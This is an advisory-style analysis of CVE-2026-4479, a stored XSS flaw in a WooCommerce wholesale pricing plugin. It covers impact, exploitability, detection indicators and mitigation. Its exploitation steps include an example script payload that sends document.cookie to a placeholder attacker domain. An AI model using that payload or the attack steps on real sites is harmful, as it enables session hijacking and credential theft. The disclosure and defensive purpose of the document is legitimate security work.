CVE-2026-4479: 
WordPress vulnerability analysis and mitigation

CVE-2026-4479 is a Stored Cross-Site Scripting (XSS) vulnerability in the WholeSale Products Dynamic Pricing Management WooCommerce plugin for WordPress, affecting all versions up to and including 1.2. The flaw arises from insufficient input sanitization and output escaping in admin settings, allowing authenticated attackers with administrator-level permissions to inject arbitrary web scripts. It was published on April 14, 2026, and is assigned a CVSS v3.1 base score of 4.4 (Medium) (GitHub Advisory). Exploitation is limited to multi-site WordPress installations or those where the unfiltered_html capability has been disabled (Wordfence).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting) and stems from the plugin's failure to properly sanitize administrator-supplied input before storing it and escaping it on output (GitHub Advisory). The vulnerable code has been identified in class-main.php at line 114 of the plugin's trunk (GitHub Advisory). An attacker must be authenticated with administrator-level privileges and the target environment must be either a WordPress multisite installation or one where unfiltered_html has been disabled — conditions that normally restrict administrators from injecting raw HTML/JavaScript. Once injected, the malicious script persists in the database and executes in the browser of any user who visits the affected page.

Successful exploitation allows an authenticated administrator to persistently inject malicious JavaScript into WordPress admin settings pages, which then executes in the context of any user — including other administrators or site visitors — who accesses the compromised page (Wordfence). This can result in unauthorized actions performed on behalf of victims, session token theft, credential harvesting, or further compromise of the WordPress installation. Availability is not directly impacted, but confidentiality and integrity are both affected at a low level per the CVSS assessment (GitHub Advisory).

There is no public proof-of-concept exploit and no evidence of active in-the-wild exploitation at this time (GitHub Advisory). The EPSS score is approximately 0.022–0.031%, placing it in a low percentile for near-term exploitation likelihood (GitHub Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires high privileges (administrator-level authentication) and specific environmental conditions (multisite or unfiltered_html disabled), significantly limiting the practical attack surface.

1. Identify target: Locate a WordPress multisite installation or a single-site installation with unfiltered_html disabled that uses the WholeSale Products Dynamic Pricing Management WooCommerce plugin version ≤ 1.2.
2. Authenticate as administrator: Obtain or compromise administrator-level credentials for the target WordPress site.
3. Navigate to vulnerable admin settings: Access the plugin's admin settings panel within the WordPress dashboard where the vulnerable input field (in class-main.php, line 114) is rendered.
4. Inject malicious payload: Enter a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable settings field and save the configuration.
5. Payload persistence: The injected script is stored in the WordPress database without proper sanitization.
6. Trigger execution: When any user (administrator or otherwise) visits the page that renders the injected setting, the malicious script executes in their browser, potentially stealing session cookies or performing actions on their behalf (GitHub Advisory, Wordfence).

• Logs: WordPress admin audit logs showing unexpected changes to WholeSale Products Dynamic Pricing Management plugin settings, particularly from unfamiliar administrator accounts or at unusual times.
• Database: Presence of <script> tags or JavaScript event handlers (e.g., onerror, onload) in the plugin's stored settings within the WordPress wp_options table.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after accessing plugin-related admin pages, potentially carrying cookie or session data.
• File System: Unexpected modifications to class-main.php or other plugin files if an attacker escalates beyond XSS to file-level tampering.

The primary remediation is to update the WholeSale Products Dynamic Pricing Management WooCommerce plugin to a version newer than 1.2 once a patched release is available (GitHub Advisory). In the interim, site administrators should restrict plugin settings access to only fully trusted administrator accounts, and consider temporarily disabling the plugin on multisite installations. Implementing a Content Security Policy (CSP) header can reduce the impact of any injected scripts. Ensuring that unfiltered_html remains disabled for non-trusted roles is also recommended as a defense-in-depth measure (Wordfence).

The vulnerability was reported and assigned by Wordfence, which published a threat intelligence entry for it (Wordfence). Coverage has been limited to automated vulnerability aggregators and databases (NVD, VulDB, CIRCL, ENISA EUVD), with no notable researcher commentary or significant community discussion observed. The low CVSS score and high privilege requirement have kept broader security community attention minimal.